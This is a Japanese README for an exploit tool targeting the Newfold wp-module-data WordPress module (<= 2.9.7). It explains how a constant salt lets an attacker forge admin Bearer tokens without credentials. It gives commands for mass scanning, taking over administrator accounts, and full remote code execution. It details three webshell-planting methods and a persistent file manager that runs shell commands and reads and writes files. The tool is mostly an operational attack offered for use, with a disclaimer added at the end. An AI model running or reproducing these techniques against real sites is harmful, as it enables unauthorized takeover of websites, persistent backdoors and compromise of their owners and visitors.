
Newfoldプラグイン(wp-module-data <= 2.9.7)未認証
wp-module-data をバンドルする Newfold WordPress プラグインを対象とした、認証不要の認証バイパスおよび RCE エクスプロイト。
このツールは、Newfold の wp-module-data モジュールにおける Bearer トークン検証の欠陥を悪用します。影響を受ける Newfold プラグインを使用している WordPress サイトが Hiive に接続されていない 場合、HiiveConnection::get_auth_token() は false を返します。この値は strrev() を経由してからハッシュ化されるため、シークレットソルトが公開定数へと縮退します:
sha256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
ハッシュ化されるペイロードの他のすべての構成要素 (HTTP メソッド、リクエスト URL、リクエストボディ、タイムスタンプ) は完全に攻撃者が制御できるため、有効な Bearer トークンをオフラインで計算できます。脆弱なフィルターは rest_authentication_errors で実行されるため、偽造されたトークンは呼び出し元を 最初の管理者 として認証し、コアルートを含む WordPress REST API 全体へのアクセスを可能にします。そのアクセスはさらに完全なリモートコード実行へと悪用されます。
| プラグイン / モジュール | 影響を受けるバージョン | 修正済み |
|---|---|---|
| wp-module-data | <= 2.9.7 | 2.9.8 |
| bluehost-wordpress-plugin | <= 4.19.0 | n/a |
| hostgator | <= 3.2.0 | n/a |
| web | <= 2.3.5 | n/a |
| crazy-domains | <= 2.5.2 | n/a |
検出は WordPress.org のプラグインスラッグ wp-plugin-web および crazy_blog も対象とします。
vendor/newfold-labs/wp-module-data/includes/Data.php 内:
public function authenticate( $errors ) { // hooked on rest_authentication_errors
...
$data = array(
'method' => $_SERVER['REQUEST_METHOD'],
'url' => Url::getCurrentUrl(),
'body' => file_get_contents( 'php://input' ),
'timestamp' => dataGet( getallheaders(), 'X-Timestamp' ),
);
$hash = hash( 'sha256', wp_json_encode( $data ) );
$salt = hash( 'sha256', strrev( HiiveConnection::get_auth_token() ) );
$is_valid = hash( 'sha256', $hash . $salt ) === $token;
if ( $is_valid ) {
... wp_set_current_user( <first administrator> ); return true;
}
}
未接続のサイトでは、strrev(false) は strrev('') に強制変換されて '' を生成し、ソルトは空文字列のよく知られたハッシュになります。ハッシュチェーンへの他のすべての入力は攻撃者が制御できるため、トークンは完全に予測可能です。
newfold-data/v1/verify/<hex> REST ルートによるモジュールの存在検出GET /wp/v2/users/me を呼び出してロールを検査することによるバイパスの検証404.php / index.php への書き込み.fm.php ファイルマネージャーwp-login.php への ModSecurity ブロックをバイパス) および従来の wp-login.php フォームログインrequestsurllib3 (オプション、TLS 警告の抑制のみ)依存関係のインストール:
pip install requests urllib3
読み取り専用の検出およびバイパス検証:
python3 exploit.py -u https://target.example
永続的なシェルまでの完全なチェーン:
python3 exploit.py -u https://target.example --mode rce
新しい管理者を作成する代わりに、最初の管理者のパスワードをリセット:
python3 exploit.py -u https://target.example --mode rce --takeover
ターゲットリスト全体に対するチェックのみ:
python3 exploit.py --list targets.txt
すべての脆弱なホストに対する完全なチェーン (明示的なオプトインが必要):
python3 exploit.py --list targets.txt --mode rce --apply-rce
REST API に触れる前に静的アセットプローブを使用して事前フィルタリング:
python3 exploit.py --list targets.txt --brand-filter
最初の N 台の脆弱なホストで停止:
python3 exploit.py --list targets.txt --stop-after 5
前回の実行を再開:
python3 exploit.py --list targets.txt --resume
| フラグ | 説明 |
|---|---|
-u, --url | 単一ターゲットのベース URL |
--list | 1 行につき 1 つのターゲット URL を含むファイル |
--mode | check (検出のみ) または rce (完全なチェーン)、デフォルトは check |
--takeover | 新しい管理者を作成する代わりに、最初の管理者パスワードをリセット |
--output | 大量モード用の JSONL 出力パス、デフォルトは cve_2026_80099_results.jsonl |
--vuln-list | 脆弱なホストのベア URL リスト、デフォルトは vuln.txt |
--threads | 大量モードのワーカー数、デフォルトは 20 |
--timeout | リクエストタイムアウト (秒)、デフォルトは 15 |
--fast-timeout | 高速プローブのタイムアウト (秒)、デフォルトは 6 |
--retries | リクエストごとの再試行回数、デフォルトは 1 |
--proxy | HTTP(S) プロキシ URL |
--all-out | 脆弱なものだけでなく、すべての大量行を書き込む |
--apply-rce | 大量モードで脆弱なホストに対して RCE チェーンを実行 |
--brand-filter | Newfold プラグインの静的アセットを使用して事前フィルタリング |
--stop-after | N 台の脆弱なホストで大量スキャンを停止、0 はすべて実行 |
--quiet | ターゲットごとの進捗行を無効化 |
--resume | 出力に追記し、すでに存在するターゲットをスキップ |
管理者コンテキストが確認されると、ツールは 3 つの手法を順に試行します:
テーマエディターシェル — アクティブなテーマの 404.php または index.php に小さな PHP ペイロードを書き込みます。ペイロードは、存在しない任意の URL (404.php の場合) またはサイトルート (index.php の場合) をリクエストすることでトリガーされます。
プラグインアップロードシェル — 最小限のプラグインを含む ZIP を構築し、wp-admin/update.php?action=upload-plugin 経由でアップロードし、プラグインの PHP ファイルに直接アクセスします。
非アクティブプラグインエディターチェーン — REST API 経由でプラグインを一覧表示し、非アクティブなものを選択し、plugin-editor.php 経由でそのメインファイルに cmd-shell を書き込み、PUT /wp/v2/plugins/<slug> 経由で有効化し、任意のフロントエンド URL でシェルをトリガーし、ウェブルートに .fm.php を設置し、その後プラグインを無効化して元のファイルを復元します。このパスは、テーマエディターをブロックする、wp-content への直接アクセスをブロックする、またはループバックヘルスチェックを通じて編集を元に戻すホストを生き残るように設計されています。
成功すると、永続的な .fm.php ファイルマネージャーがウェブルートに設置されます。以下をサポートします:
?cmd=<shell command>?cat=<path> でファイルを読み取り?put=<path>&data=<base64> でファイルを書き込み?ls=<path> でディレクトリを一覧表示cve_2026_80099_results.jsonl — スキャンされた各ターゲットの JSONL レコード。脆弱なエントリには vuln: true、admin、admin_id が含まれ、RCE が成功した場合は shell (設置されたファイルマネージャーまたはシェルの URL) も含まれます。vuln.txt — 脆弱またはシェル化された各ターゲットのベア URL を 1 行に 1 つ。trust_env = False によりシステムおよび環境のプロキシを無視します。Url::getCurrentUrl() の動作と一致します。リクエストは最初に準備され、トークンは準備された URL から導出されます。json_encode のデフォルト動作を再現します。これには、エスケープされたスラッシュ、\uXXXX 非 ASCII エスケープ、およびアストラル文字の UTF-16 サロゲートペアが含まれ、ハッシュ化されるペイロードがバイト単位で一致します。401 を返す失敗したプローブは、通常、ターゲットが修正済み (モジュール >= 2.9.8)、サイトが Hiive に接続されている (実際のトークン、不明なソルト)、または中間装置が Authorization ヘッダーを削除していることを意味します。403 は通常、別の rest_authentication_errors フィルターが干渉したことを示します。このツールは、許可されたセキュリティテストおよび研究のみを目的として提供されています。所有しているシステム、またはテストに対する明示的な書面による許可を得ているシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスはほとんどの法域で違法であり、深刻な民事および刑事罰を受ける可能性があります。作者は、このソフトウェアの誤用または損害に対して一切の責任を負いません。